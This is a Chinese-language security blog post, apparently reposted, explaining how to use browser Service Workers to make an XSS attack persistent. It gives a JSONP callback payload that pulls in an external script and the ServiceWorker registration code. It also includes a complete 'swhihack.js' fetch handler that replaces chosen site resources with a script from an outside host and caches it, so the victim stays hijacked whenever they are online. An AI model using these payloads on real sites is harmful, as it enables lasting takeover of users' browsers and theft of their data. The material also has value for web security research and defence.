来源:http://www.mottoin.com/95058.html
作者:长短短
今天给大家介绍一项新的浏览器技术:Service Workers,以及在 XSS 攻击中的利用方式。
在利用 XSS 进行攻击的过程中经常会遇到一个问题,就是目标触发一次 XSS 水坑之后就不再触发了,但窃取到的信息并不足以进行下一步攻击,这时候我们就需要「持久化 XSS」的技术。在过去有很多种方式来提高 XSS 在线时间,如 opener hijack、link hijack、HTTP cache hijack,前两项的提升有限,后一项要求较高需要 CRLF Inject 来完成。
Service Workers 全局请求拦截技术让我们可以用 JS 代码来拦截浏览器当前域的 HTTP 请求,并设置缓存的文件,直接返回,不经过 web 服务器,使目标只要在线就可以被我们控制。当然,由于这项技术能量太大,所以在设计的时候对他做了一定的约束:只在 HTTPS 下工作,安装ServiceWorker的脚本需要当前域下,且返回的 content-type 包含 /javascript。
了解 ServiceWorker 最快的办法是在 Chrome 下打开 chrome://serviceworker-internals,如下图:
nstallation Status 表示是否被激活,Script 是我们安装的脚本。
在攻击的时候我们的安装脚本通常是使用 JSONP 接口来完成,如:
[https://target.com/user/xxx?callback=.get('//html5sec.org/test.js'))
通过这种方式来完成 ServiceWorker 的安装要求。Payload 中用到的 trick 是 jQuery.get 函数会自动将返回头 content-type 为 */javascript 的资源作为 JS 代码执行。
安装方式:
if ('serviceWorker' in navigator) { navigator.serviceWorker.register('/user/xxx?callback=alert(1)') .then(function(registration) { console.log('ServiceWorker registration successful with scope: ', registration.scope); }) };
安装之后可以通过开发者工具查看是否成功:
如果安装脚本出现错误则会显示:
安装好之后,现在应该考虑如何植入攻击脚本?
在编写攻击脚本之前我们需要先了解一个浏览器技术的概念叫:Web Worker。
「Web Worker 是HTML5标准的一部分,这一规范定义了一套 API,它允许一段JavaScript程序运行在主线程之外的另外一个线程中。Web Worker 规范中定义了两类工作线程,分别是专用线程Dedicated Worker和共享线程 Shared Worker,其中,Dedicated Worker只能为一个页面所使用,而Shared Worker则可以被多个页面所共享。」
ServiceWorker 的脚本在后台运行过程中用的就是 Worker,这里我不多介绍 Worker 的用法,但我们需要知道 Worker 的一些限制。
在 worker 线程中,可以获得下列对象
Worker 线程不能获得下列对象
上述的规范,限制了在worker线程中获得主线程页面相关对象的能力,所以在worker线程中,不能进行dom元素的更新。也就是说在 Worker 的作用域中我们难以完成 XSS 攻击,所以还是得通过劫持站内的 JS 来完成攻击。
当 Service Worker 安装成功,并且用户浏览了另一个页面或刷新当前页面后,Service Worker 开始接收 fetch 事件,也就是感染脚本,我把它命名为 swhihack.js。
首先是监听 fetch 事件:
self.addEventListener('fetch', function(event) { //worker context });
将 response 进行缓存:
function requestBackend(event){ var url = event.request.clone(); if(url=='xxxxxx'){//判断是否为需要劫持的资源 url.url='//html5sec.org/test.js'; } return fetch(url).then(function(res){ //检测是否为有效响应 if(!res || res.status !== 200 || res.type !== 'basic'){ return res; } var response = res.clone(); caches.open(CACHE_VERSION).then(function(cache){ cache.put(event.request, response); }); return res; }) }
完工:
self.addEventListener('fetch', function (event) { event.respondWith( caches.match(event.request).then(function(res){ if(res){//如果有缓存则使用缓存 return res; } return requestBackend(event);//没缓存就进行缓存 }) ) });